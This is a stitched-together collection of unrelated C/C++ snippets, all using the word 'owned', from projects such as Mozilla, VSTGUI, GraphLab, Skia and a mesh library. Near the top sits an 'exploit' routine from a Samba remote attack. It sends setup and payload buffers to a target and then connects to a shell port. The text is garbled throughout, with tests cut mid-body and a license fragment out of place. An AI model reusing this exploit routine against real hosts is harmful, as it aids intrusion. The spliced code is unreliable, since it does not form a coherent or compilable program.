MOZ_MUST_USE mozilla::Maybe<SharedImmutableString>
SharedImmutableStringsCache::getOrCreate(OwnedChars&& chars, size_t length)
{
OwnedChars owned(mozilla::Move(chars));
MOZ_ASSERT(owned);
return getOrCreate(owned.get(), length, [&]() { return mozilla::Move(owned); });
}
void
exploit (void)
{
BOOLEAN status;
char outside[333];
if(!(status = connection (target, port)))
fatal (" [~] Error in connection\n");
/* here we setup connection */
if (send (fdsocket, setup1, sizeof (setup1)-1, 0) < 0)
fatal (" [~] Error in setup (1) connection\n");
recv (fdsocket, outside, sizeof (outside)-1, 0);
if (send (fdsocket, setup2, sizeof (setup2)-1, 0) < 0)
fatal (" [~] Error in setup (2) connection\n");
recv (fdsocket, outside, sizeof (outside)-1, 0);
/* exploiting samba */
if (send (fdsocket, buffer, sizeof (buffer)-1, 0) < 0)
fatal (" [~] Error in exploiting samba\n");
if (send (fdsocket, zero, sizeof (zero)-1, 0) < 0)
fatal (" [~] Error in exploiting samba\n");
close (fdsocket);
if((status = connection (target, SHELL)))
{
owned (fdsocket);
close (fdsocket);
}
}
//----------------------------------------------------------------------------------------------------
void UISearchTextField::drawClearMark (CDrawContext* context) const
{
if (getText ().empty ())
return;
SharedPointer<CGraphicsPath> path = owned (context->createGraphicsPath ());
if (path == 0)
return;
CRect r = getClearMarkRect ();
CColor color (fontColor);
color.alpha /= 2;
context->setFillColor (color);
context->setDrawMode (kAntiAliasing);
context->drawEllipse (r, kDrawFilled);
double h,s,v;
color.toHSV (h, s, v);
v = 1. - v;
color.fromHSV (h, s, v);
context->setFrameColor (color);
context->setLineWidth (2.);
r.inset (r.getWidth () / (M_PI * 2.) + 1, r.getHeight () / (M_PI * 2.) + 1);
path->beginSubpath (r.getTopLeft ());
path->addLine (r.getBottomRight ());
path->beginSubpath (r.getBottomLeft ());
path->addLine (r.getTopRight ());
context->setDrawMode (kAntiAliasing|kNonIntegralMode);
context->drawGraphicsPath (path, CDrawContext::kPathStroked);
}
ReductionType map_reduce_vertices(GraphType& g,
MapFunctionType mapfunction,
const vertex_set& vset = GraphType::complete_set()) {
BOOST_CONCEPT_ASSERT((graphlab::Serializable<ReductionType>));
BOOST_CONCEPT_ASSERT((graphlab::OpPlusEq<ReductionType>));
typedef typename GraphType::vertex_type vertex_type;
if(!g.is_finalized()) {
logstream(LOG_FATAL)
<< "\n\tAttempting to run graph.map_reduce_vertices(...) "
<< "\n\tbefore calling graph.finalize()."
<< std::endl;
}
g.dc().barrier();
bool global_result_set = false;
ReductionType global_result = ReductionType();
#ifdef _OPENMP
#pragma omp parallel
#endif
{
bool result_set = false;
ReductionType result = ReductionType();
#ifdef _OPENMP
#pragma omp for
#endif
for (int i = 0; i < (int)g.num_local_vertices(); ++i) {
auto lvertex = g.l_vertex(i);
if (lvertex.owned() && vset.l_contains(lvid_type(i))) {
if (!result_set) {
vertex_type vtx(lvertex);
result = mapfunction(vtx);
result_set = true;
}
else if (result_set){
const vertex_type vtx(lvertex);
const ReductionType tmp = mapfunction(vtx);
result += tmp;
}
}
}
#ifdef _OPENMP
#pragma omp critical
#endif
{
if (result_set) {
if (!global_result_set) {
global_result = result;
global_result_set = true;
}
else {
global_result += result;
}
}
}
}
conditional_addition_wrapper<ReductionType>
wrapper(global_result, global_result_set);
g.dc().all_reduce(wrapper);
return wrapper.value;
} // end of map_reduce_vertices
//-----------------------------------------------------------------------------
CBitmap::CBitmap (const CResourceDescription& desc)
: resourceDesc (desc)
{
SharedPointer<IPlatformBitmap> platformBitmap = owned (IPlatformBitmap::create ());
if (platformBitmap && platformBitmap->load (desc))
{
bitmaps.push_back (platformBitmap);
}
}
const CharT* match(const std::string* str) {
MOZ_ASSERT(str);
size_t length = str->length() / sizeof(CharT);
auto tempString = reinterpret_cast<const CharT*>(str->data());
UniquePtr<CharT[], NSFreePolicy> owned(NS_strndup(tempString, length));
if (!owned || !internedStrings.append(Move(owned)))
return nullptr;
return internedStrings.back().get();
}
int tool_main(int argc, char** argv) {
SetupCrashHandler();
SkCommandLineFlags::SetUsage("");
SkCommandLineFlags::Parse(argc, argv);
SkGraphics::Init();
SkString header("PathOps SkpClip:");
if (!FLAGS_match.isEmpty()) {
header.appendf(" --match");
for (int index = 0; index < FLAGS_match.count(); ++index) {
header.appendf(" %s", FLAGS_match[index]);
}
}
if (!FLAGS_dir.isEmpty()) {
int count = FLAGS_dir.count();
for (int i = 0; i < count; ++i) {
const char* range = FLAGS_dir[i];
const char* dash = strchr(range, '-');
if (!dash) {
dash = strchr(range, ',');
}
int first = atoi(range);
int last = dash ? atoi(dash + 1) : first;
if (!first || !last) {
SkDebugf("couldn't parse --dir %s\n", range);
return 1;
}
gDirs.set(first, last);
}
}
if (!FLAGS_skp.isEmpty()) {
gNames.set(FLAGS_skp);
}
#ifdef SK_DEBUG
header.append(" SK_DEBUG");
#else
header.append(" SK_RELEASE");
#endif
header.appendf(" skia_arch_width=%d", (int)sizeof(void*) * 8);
if (FLAGS_verbose) {
header.appendf("\n");
}
SkDebugf("%s", header.c_str());
Iter iter;
Test* test;
while ((test = iter.next()) != NULL) {
SkAutoTDelete<Test> owned(test);
if (!SkCommandLineFlags::ShouldSkip(FLAGS_match, test->getName())) {
test->run();
}
}
SkGraphics::Term();
return 0;
}
//-----------------------------------------------------------------------------
void CSegmentButton::drawRect (CDrawContext* pContext, const CRect& dirtyRect)
{
bool isHorizontal = style == kHorizontal;
SharedPointer<CGraphicsPath> path;
if (gradient || gradientHighlighted || (getFrameWidth () > 0. && getFrameColor ().alpha != 0))
{
CRect r (getViewSize ());
r.inset (getFrameWidth () / 2., getFrameWidth () / 2.);
path = owned (pContext->createGraphicsPath ());
path->addRoundRect (r, getRoundRadius ());
}
pContext->setDrawMode (kAntiAliasing);
bool drawLines = getFrameWidth () > 0. && getFrameColor ().alpha != 0;
if (drawLines)
{
pContext->setLineStyle (kLineSolid);
pContext->setLineWidth (getFrameWidth ());
pContext->setFrameColor (getFrameColor ());
}
if (gradient)
{
pContext->fillLinearGradient (path, *gradient, getViewSize ().getTopLeft (), getViewSize ().getBottomLeft ());
}
uint32_t selectedIndex = getSelectedSegment ();
for (uint32_t index = 0; index < segments.size (); ++index)
{
Segment& segment = segments[index];
if (!dirtyRect.rectOverlap (segment.rect))
continue;
CRect oldClip;
pContext->getClipRect (oldClip);
CRect clipRect (segment.rect);
clipRect.bound (oldClip);
pContext->setClipRect (clipRect);
bool selected = selectedIndex == index;
if (selected && gradientHighlighted)
pContext->fillLinearGradient (path, *gradientHighlighted, segment.rect.getTopLeft (), segment.rect.getBottomLeft ());
if (selected && segment.backgroundHighlighted)
segment.backgroundHighlighted->draw (pContext, segment.rect);
else if (segment.background)
segment.background->draw (pContext, segment.rect);
CDrawMethods::drawIconAndText (pContext, selected ? segment.iconHighlighted : segment.icon, segment.iconPosition, textAlignment, textMargin, segment.rect, segment.name, font, selected ? textColorHighlighted : textColor);
pContext->setClipRect (oldClip);
if (drawLines && index > 0 && index < segments.size ())
{
path->beginSubpath (segment.rect.getTopLeft ());
path->addLine (isHorizontal ? segment.rect.getBottomLeft () : segment.rect.getTopRight ());
}
}
if (drawLines)
pContext->drawGraphicsPath (path, CDrawContext::kPathStroked);
setDirty (false);
}
std::string make_vimson_from_tokens(std::vector<Token> tokens) const
{
return "[" + std::accumulate(std::begin(tokens), std::end(tokens), std::string{}, [&](std::string const& acc, Token const& token){
auto const kind = clang_getTokenKind(token);
auto const spell = owned(clang_getTokenSpelling(translation_unit, token));
auto const location = clang_getTokenLocation(translation_unit, token);
CXFile file;
unsigned int line, column, offset;
clang_getFileLocation(location, &file, &line, &column, &offset);
auto const source_name = owned(clang_getFileName(file));
return acc
+ "{'spell':'" + clang_getCString(*spell)
+ "','kind':'" + get_kind_spelling(kind)
+ "','file':'" + clang_getCString(*source_name)
+ "','line':" + std::to_string(line)
+ ",'column':" + std::to_string(column)
+ ",'offset':" + std::to_string(offset)
+ "},";
}) + "]";
}
const char16_t*
HeapSnapshot::borrowUniqueString(const char16_t* duplicateString, size_t length)
{
MOZ_ASSERT(duplicateString);
UniqueStringHashPolicy::Lookup lookup(duplicateString, length);
auto ptr = strings.lookupForAdd(lookup);
if (!ptr) {
UniqueString owned(NS_strndup(duplicateString, length));
if (!owned || !strings.add(ptr, Move(owned)))
return nullptr;
}
MOZ_ASSERT(ptr->get() != duplicateString);
return ptr->get();
}
//----------------------------------------------------------------------------------------------------
SharedPointer<UISelection> UIViewCreatorDataSource::createSelection ()
{
SharedPointer<UISelection> selection;
UIAttributes viewAttr;
viewAttr.setAttribute (UIViewCreator::kAttrClass, getStringList ()->at (static_cast<uint32_t> (mouseDownRow)));
CView* view = factory->createView (viewAttr, description);
if (view)
{
if (view->getViewSize ().isEmpty ())
{
CRect size (CPoint (0, 0), CPoint (20, 20));
view->setViewSize (size);
view->setMouseableArea (size);
}
selection = owned (new UISelection ());
selection->add (view);
view->forget ();
}
return selection;
}
void parallel_for_vertices(GraphType& g,
std::vector<VertexFunctorType>& accfunction) {
typedef typename GraphType::vertex_type vertex_type;
ASSERT_TRUE(g.is_finalized());
g.dc().barrier();
int numaccfunctions = (int)accfunction.size();
ASSERT_GE(numaccfunctions, 1);
#ifdef _OPENMP
#pragma omp parallel for
#endif
for (int i = 0; i < (int)accfunction.size(); ++i) {
for (int j = i;j < (int)g.num_local_vertices(); j+=numaccfunctions) {
auto lvertex = g.l_vertex(j);
if (lvertex.owned()) {
accfunction[i](vertex_type(lvertex));
}
}
}
g.dc().barrier();
}
//-----------------------------------------------------------------------------
void CGradientView::draw (CDrawContext* context)
{
if (path == 0)
{
CRect r = getViewSize ();
r.inset (frameWidth / 2., frameWidth / 2.);
path = owned (context->createRoundRectGraphicsPath (r, roundRectRadius));
}
if (path && gradient)
{
context->setDrawMode (drawAntialiased ? kAntiAliasing : kAliasing);
if (gradientStyle == kLinearGradient)
{
CPoint colorStartPoint (0, 0);
colorStartPoint.x = getViewSize ().left + getViewSize ().getWidth () / 2 + cos (radians (gradientAngle-90)) * getViewSize ().getWidth () / 2;
colorStartPoint.y = getViewSize ().top + getViewSize ().getHeight () / 2 + sin (radians (gradientAngle-90)) * getViewSize ().getHeight () / 2;
CPoint colorEndPoint (0, getViewSize ().getHeight ());
colorEndPoint.x = getViewSize ().left + getViewSize ().getWidth () / 2 + cos (radians (gradientAngle+90)) * getViewSize ().getWidth () / 2;
colorEndPoint.y = getViewSize ().top + getViewSize ().getHeight () / 2 + sin (radians (gradientAngle+90)) * getViewSize ().getHeight () / 2;
context->fillLinearGradient (path, *gradient, colorStartPoint, colorEndPoint, false);
}
else
{
CPoint center (radialCenter);
center.x *= getViewSize ().getWidth ();
center.y *= getViewSize ().getHeight ();
center.offset (getViewSize ().left, getViewSize ().top);
context->fillRadialGradient (path, *gradient, center, radialRadius * std::max (getViewSize ().getWidth (), getViewSize ().getHeight ()));
}
if (frameColor.alpha != 0 && frameWidth > 0.)
{
context->setDrawMode (drawAntialiased ? kAntiAliasing : kAliasing);
context->setFrameColor (frameColor);
context->setLineWidth (frameWidth);
context->setLineStyle (kLineSolid);
context->drawGraphicsPath (path, CDrawContext::kPathStroked);
}
}
}
void transform_vertices(GraphType& g,
TransformType transform_functor,
const vertex_set vset = GraphType::complete_set()) {
typedef typename GraphType::vertex_type vertex_type;
if(!g.is_finalized()) {
logstream(LOG_FATAL)
<< "\n\tAttempting to call graph.transform_vertices(...)"
<< "\n\tbefore finalizing the graph."
<< std::endl;
}
g.dc().barrier();
size_t ibegin = 0;
size_t iend = g.num_local_vertices();
parallel_for (ibegin, iend, [&](size_t i) {
auto lvertex = g.l_vertex(i);
if (lvertex.owned() && vset.l_contains(lvid_type(i))) {
vertex_type vtx(lvertex);
transform_functor(vtx);
}
});
g.dc().barrier();
g.synchronize();
}
// OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
// OF THE POSSIBILITY OF SUCH DAMAGE.
//-----------------------------------------------------------------------------
#include "../../../lib/cbitmap.h"
#include "../../../lib/ccolor.h"
#include "../../../lib/platform/iplatformbitmap.h"
#include "../unittests.h"
namespace VSTGUI {
TESTCASE(CBitmapTest,
TEST(scaleFactor,
CPoint p (10, 10);
auto b1 = owned (IPlatformBitmap::create (&p));
CBitmap bitmap (b1);
p (20, 20);
auto b2 = owned (IPlatformBitmap::create (&p));
b2->setScaleFactor (2.);
EXPECT (bitmap.addBitmap (b2));
p (21, 21);
auto b3 = owned(IPlatformBitmap::create (&p));
EXPECT_EXCEPTION (bitmap.addBitmap(b3), "wrong bitmap size");
EXPECT (bitmap.getBestPlatformBitmapForScaleFactor (0.5) == b1);
EXPECT (bitmap.getBestPlatformBitmapForScaleFactor (1.0) == b1);
EXPECT (bitmap.getBestPlatformBitmapForScaleFactor (1.4) == b1);
EXPECT (bitmap.getBestPlatformBitmapForScaleFactor (1.5) == b2);
EXPECT (bitmap.getBestPlatformBitmapForScaleFactor (1.6) == b2);
auto viewSwitch = new UIViewSwitchContainer (CRect (0, 0, 100, 100));
auto controller = new UIDescriptionViewSwitchController (viewSwitch, &uiDesc, nullptr);
controller->setTemplateNames ("v1,v2");
EXPECT(container->addView (viewSwitch));
container->attached (rootView);
EXPECT(viewSwitch->getView (0) == nullptr);
viewSwitch->setCurrentViewIndex (0);
EXPECT(dynamic_cast<View1*> (viewSwitch->getView (0)));
viewSwitch->setCurrentViewIndex (1);
EXPECT(dynamic_cast<View2*> (viewSwitch->getView (0)));
container->removed (rootView);
);
TEST (switchViaControl,
TestUIDescription uiDesc;
auto rootView = owned (new CViewContainer (CRect (0, 0, 100, 100)));
auto container = owned (new CViewContainer (CRect (0, 0, 100, 100)));
auto viewSwitch = new UIViewSwitchContainer (CRect (0, 0, 100, 100));
auto control = new COnOffButton (CRect (0, 0, 0, 0));
control->setTag (1);
auto controller = new UIDescriptionViewSwitchController (viewSwitch, &uiDesc, nullptr);
controller->setTemplateNames ("v1,v2");
controller->setSwitchControlTag (1);
EXPECT(container->addView (control));
EXPECT(container->addView (viewSwitch));
container->attached (rootView);
EXPECT(dynamic_cast<View1*> (viewSwitch->getView (0)));
control->setValue (1.f);
EXPECT(dynamic_cast<View2*> (viewSwitch->getView (0)));
container->removed (rootView);
);
void ConstructLocalOverlappingGrid(OvlpGrid & ovlp_grid,
CellRange const& owned_c,
Geometry const& geom,
Overlap & ovlp,
VertexCorr & v_corr,
CellCorr & c_corr)
{
typedef typename CellRange::grid_type grid_type;
enumerated_subrange<grid_type> owned(owned_c.TheGrid(),owned_c);
// Fixme!!
Geometry dummy(ovlp_grid.TheGrid());
ConstructGridVC(ovlp_grid.TheGrid(),
// SubrangeFromCells(owned_c),
dummy,
owned,
geom,
v_corr, // global -> local
c_corr); // global -> local
enumerated_subrange<grid_type> copied(ovlp.cells().copied().TheGrid(), ovlp.cells().copied());
// construct vertex identification by shared vertices
typedef grid_types<grid_type> gt;
typedef typename gt::vertex_handle vertex_handle;
bijective_mapping<vertex_handle,vertex_handle> id_shared;
typedef typename Overlap::vertex_range_type vrange;
typedef typename vrange::const_iterator v_range_iter;
for(v_range_iter shv = ovlp.vertices().shared().begin();
shv != ovlp.vertices().shared().end(); ++shv)
id_shared[*shv] = v_corr(*shv);
EnlargeGridVC(ovlp_grid.TheGrid(),
// SubRangeFromCells(ovlp.cells().copied()),
copied,
geom,
// restriction_map(v_corr, ovlp.vertices().shared()), // identify shared
id_shared,
v_corr, // v_corr remains unchanged on shared vertices
c_corr);
ovlp_grid.fine_grid_complete();
//--------------------- copy the overlap ranges -------------------------------
// make private ranges
mark_private_range(ovlp.cells().privee(), owned_c.FirstCell(),
ovlp.cells().exposed(),ovlp.cells().shared(), ovlp.cells().copied());
mark_private_range(ovlp.vertices().privee(), VerticesOfCells(owned_c).FirstVertex(),
ovlp.vertices().exposed(),ovlp.vertices().shared(), ovlp.vertices().copied());
//-- not necessary: ovlp_grid.init_overlap();
typedef typename Overlap::CoarseCell CoarseCell;
typedef typename Overlap::coarse_grid_type coarse_grid_type;
typedef typename grid_types<coarse_grid_type>::cell_handle coarse_cell_handle;
// semantics: ovlp_grid.TheOverlap() = ovlp mod global --> local ({v,c}_corr)
CopyOverlap(ovlp_grid.TheOverlap(),
ovlp,
ovlp_grid.TheCoarseGrid(),
stdext::identity<coarse_cell_handle>(), // ovlp.TheCoarse() == ovlp_grid.TheCoarse()
ovlp_grid.TheGrid(), // ovlp_grid.TheGrid() == local grid,
// ovlp .TheGrid() == global_grid
v_corr, // ovlp.TheGrid() --> ovlp_grid.TheGrid()
c_corr); // ( global --> local )
}
EXPECT (b->onMouseMoved (p, kLButton) == kMouseEventHandled);
EXPECT (b->isEditing ());
p (0, 0);
EXPECT (b->onMouseUp (p, kLButton) == kMouseEventHandled);
EXPECT (b->isEditing () == false);
EXPECT (b->getValue () == b->getMax ());
p (10, 10);
EXPECT (b->onMouseDown (p, kLButton) == kMouseEventHandled);
EXPECT (b->isEditing () == true);
EXPECT (b->onMouseCancel() == kMouseEventHandled);
EXPECT (b->isEditing () == false);
);
TEST(keyEvents,
auto b = owned (new COnOffButton (CRect (10, 10, 50, 20)));
b->setValue (b->getMin());
VstKeyCode keyCode {};
keyCode.virt = VKEY_RETURN;
EXPECT (b->onKeyDown (keyCode) == 1);
EXPECT (b->getValue () == b->getMax ());
EXPECT (b->onKeyDown (keyCode) == 1);
EXPECT (b->getValue () == b->getMin ());
keyCode.virt = 0;
keyCode.character = 't';
EXPECT (b->onKeyDown (keyCode) == -1);
);
);
//-----------------------------------------------------------------------------
CBitmap::CBitmap (CCoord width, CCoord height)
{
CPoint p (width, height);
bitmaps.push_back (owned (IPlatformBitmap::create (&p)));
}
void BulkData::change_entity_owner( const std::vector<EntityProc> & arg_change )
{
static const char method[] = "stk::mesh::BulkData::change_entity_owner" ;
const MetaData & meta = m_mesh_meta_data ;
const unsigned p_rank = m_parallel_rank ;
const unsigned p_size = m_parallel_size ;
ParallelMachine p_comm = m_parallel_machine ;
//------------------------------
// Verify the input changes, generate a clean local change list, and
// generate the remote change list so that all processes know about
// pending changes.
std::vector<EntityProc> local_change( arg_change );
// Parallel synchronous clean up and verify the requested changes:
clean_and_verify_parallel_change( method , *this , local_change );
//----------------------------------------
// Parallel synchronous determination of changing
// shared and ghosted.
std::vector<EntityProc> ghosted_change ;
std::vector<EntityProc> shared_change ;
generate_parallel_change( *this , local_change ,
shared_change , ghosted_change );
//------------------------------
// Have enough information to delete all effected ghosts.
// If the closure of a ghost contains a changing entity
// then that ghost must be deleted.
// Request that all ghost entities in the closure of the ghost be deleted.
typedef std::set<EntityProc,EntityLess> EntityProcSet;
typedef std::set<Entity*,EntityLess> EntitySet;
// Closure of the owner change for impacted ghost entities.
EntityProcSet send_closure ;
for ( std::vector<EntityProc>::iterator
i = local_change.begin() ; i != local_change.end() ; ++i ) {
insert_closure_send( *i , send_closure );
}
{
EntitySet work ;
for ( std::vector<EntityProc>::const_iterator
i = ghosted_change.begin() ; i != ghosted_change.end() ; ++i ) {
insert_transitive_ghost( i->first , m_parallel_rank , work );
}
for ( std::vector<EntityProc>::const_iterator
i = shared_change.begin() ; i != shared_change.end() ; ++i ) {
insert_transitive_ghost( i->first , m_parallel_rank , work );
}
for ( EntityProcSet::iterator
i = send_closure.begin() ; i != send_closure.end() ; ++i ) {
insert_transitive_ghost( i->first , m_parallel_rank , work );
}
// The ghosted change list will become invalid
ghosted_change.clear();
std::vector<EntityProc> empty ;
std::vector<Entity*> effected_ghosts( work.begin() , work.end() );
// Skip 'm_ghosting[0]' which is the shared subset.
for ( std::vector<Ghosting*>::iterator
ig = m_ghosting.begin() + 1 ; ig != m_ghosting.end() ; ++ig ) {
// parallel synchronous:
internal_change_ghosting( **ig , empty , effected_ghosts );
}
}
//------------------------------
// Consistently change the owner on all processes.
// 1) The local_change list is giving away ownership.
// 2) The shared_change may or may not be receiving ownership
{
PartVector owned( 1 );
owned[0] = & meta.locally_owned_part();
for ( std::vector<EntityProc>::iterator
i = local_change.begin() ; i != local_change.end() ; ++i ) {
// Giving ownership, change the parts first and then
// the owner rank to pass the ownership test.
change_entity_parts( * i->first , PartVector() , owned );
m_entity_repo.set_entity_owner_rank( *(i->first), i->second);
}
for ( std::vector<EntityProc>::iterator
i = shared_change.begin() ; i != shared_change.end() ; ++i ) {
m_entity_repo.set_entity_owner_rank( *(i->first), i->second);
if ( p_rank == i->second ) { // I receive ownership
change_entity_parts( * i->first , owned , PartVector() );
}
}
}
//------------------------------
// Send entities, along with their closure, to the new owner processes
{
std::ostringstream error_msg ;
int error_count = 0 ;
CommAll comm( p_comm );
for ( std::set<EntityProc,EntityLess>::iterator
i = send_closure.begin() ; i != send_closure.end() ; ++i ) {
CommBuffer & buffer = comm.send_buffer( i->second );
Entity & entity = * i->first ;
pack_entity_info( buffer , entity );
pack_field_values( buffer , entity );
}
comm.allocate_buffers( p_size / 4 );
for ( std::set<EntityProc,EntityLess>::iterator
i = send_closure.begin() ; i != send_closure.end() ; ++i ) {
CommBuffer & buffer = comm.send_buffer( i->second );
Entity & entity = * i->first ;
pack_entity_info( buffer , entity );
pack_field_values( buffer , entity );
}
comm.communicate();
for ( unsigned p = 0 ; p < p_size ; ++p ) {
CommBuffer & buf = comm.recv_buffer(p);
while ( buf.remaining() ) {
PartVector parts ;
std::vector<Relation> relations ;
EntityKey key ;
unsigned owner = ~0u ;
unpack_entity_info( buf, *this, key, owner, parts, relations );
// Received entity information will be correct,
// modulo the owned and shared parts
remove( parts , meta.globally_shared_part() );
if ( owner == p_rank ) {
// Must have the locally_owned_part
insert( parts , meta.locally_owned_part() );
}
else {
// Must not have the locally_owned_part
remove( parts , meta.locally_owned_part() );
}
std::pair<Entity*,bool> result =
m_entity_repo.internal_create_entity( key );
m_entity_repo.log_created_parallel_copy( *(result.first) );
// The entity was copied and not created.
m_entity_repo.set_entity_owner_rank( *(result.first), owner);
internal_change_entity_parts( *result.first , parts , PartVector() );
declare_relation( *result.first , relations );
if ( ! unpack_field_values( buf , * result.first , error_msg ) ) {
++error_count ;
}
}
}
all_reduce( p_comm , ReduceSum<1>( & error_count ) );
if ( error_count ) { throw std::runtime_error( error_msg.str() ); }
// Any entity that I sent and is not in an owned closure is deleted.
// The owned closure will be effected by received entities, so can
// only clean up after the newly owned entities have been received.
// Destroy backwards so as not to invalidate closures in the process.
{
Entity * entity = NULL ;
for ( std::set<EntityProc,EntityLess>::iterator
i = send_closure.end() ; i != send_closure.begin() ; ) {
Entity * e = (--i)->first ;
// The same entity may be sent to more than one process.
// Only evaluate it once.
if ( entity != e ) {
entity = e ;
if ( ! member_of_owned_closure( *e , p_rank ) ) {
if ( ! destroy_entity( e ) ) {
throw std::logic_error(std::string("BulkData::destroy_entity FAILED"));
}
}
}
}
}
send_closure.clear(); // Has been invalidated
}
}
//-----------------------------------------------------------------------------
IPlatformString* UTF8String::getPlatformString () const
{
if (platformString == 0)
platformString = owned (IPlatformString::createWithUTF8String (get ()));
return platformString;
}
//----------------------------------------------------------------------------------------------------
void UIColorSlider::updateBackground (CDrawContext* context)
{
double scaleFactor = context->getScaleFactor ();
SharedPointer<COffscreenContext> offscreen = owned (COffscreenContext::create (getFrame (), getWidth (), getHeight (), scaleFactor));
if (offscreen)
{
const int32_t kNumPoints = (style <= kLightness) ? 360 : 256;
CCoord width = std::floor (getWidth () + 0.5);
offscreen->beginDraw ();
offscreen->setDrawMode (kAliasing);
CCoord minWidth = 1. / scaleFactor;
CCoord widthPerColor = width / static_cast<double> (kNumPoints - 1);
CRect r;
r.setHeight (getHeight ());
r.setWidth (widthPerColor < minWidth ? minWidth : (std::floor (widthPerColor * scaleFactor + 0.5) / scaleFactor));
r.offset (-r.getWidth (), 0);
offscreen->setLineWidth (minWidth);
for (int32_t i = 0; i < kNumPoints; i++)
{
CCoord x = std::floor (widthPerColor * i * scaleFactor + 0.5) / scaleFactor;
if (x > r.right || i == kNumPoints -1)
{
CColor c = color->base ();
switch (style)
{
case kRed:
{
c.red = (uint8_t)i;
break;
}
case kGreen:
{
c.green = (uint8_t)i;
break;
}
case kBlue:
{
c.blue = (uint8_t)i;
break;
}
case kAlpha:
{
c.alpha = (uint8_t)i;
break;
}
case kHue:
{
double hue = (static_cast<double> (i) / static_cast<double> (kNumPoints)) * 360.;
c.fromHSL (hue, color->getSaturation (), color->getLightness ());
break;
}
case kSaturation:
{
double sat = (static_cast<double> (i) / static_cast<double> (kNumPoints));
c.fromHSL (color->getHue (), sat, color->getLightness ());
break;
}
case kLightness:
{
double light = (static_cast<double> (i) / static_cast<double> (kNumPoints));
c.fromHSL (color->getHue (), color->getSaturation (), light);
break;
}
}
offscreen->setFrameColor (c);
CCoord next = r.left + widthPerColor;
while (r.left < next)
{
offscreen->drawLine (r.getTopLeft (), r.getBottomLeft ());
r.offset (minWidth, 0);
}
}
}
offscreen->drawLine (r.getTopLeft (), r.getBottomLeft ());
offscreen->endDraw ();
setBackground (offscreen->getBitmap ());
}
if (getHandle () == 0)
{
offscreen = owned (COffscreenContext::create (getFrame (), 7, getHeight (), context->getScaleFactor ()));
if (offscreen)
{
offscreen->beginDraw ();
offscreen->setFrameColor (kBlackCColor);
offscreen->setLineWidth (1);
offscreen->setDrawMode (kAliasing);
CRect r (0, 0, 7, getHeight ());
offscreen->drawRect (r, kDrawStroked);
r.inset (1, 1);
offscreen->setFrameColor (kWhiteCColor);
offscreen->drawRect (r, kDrawStroked);
offscreen->endDraw ();
setHandle (offscreen->getBitmap ());
}
}
}
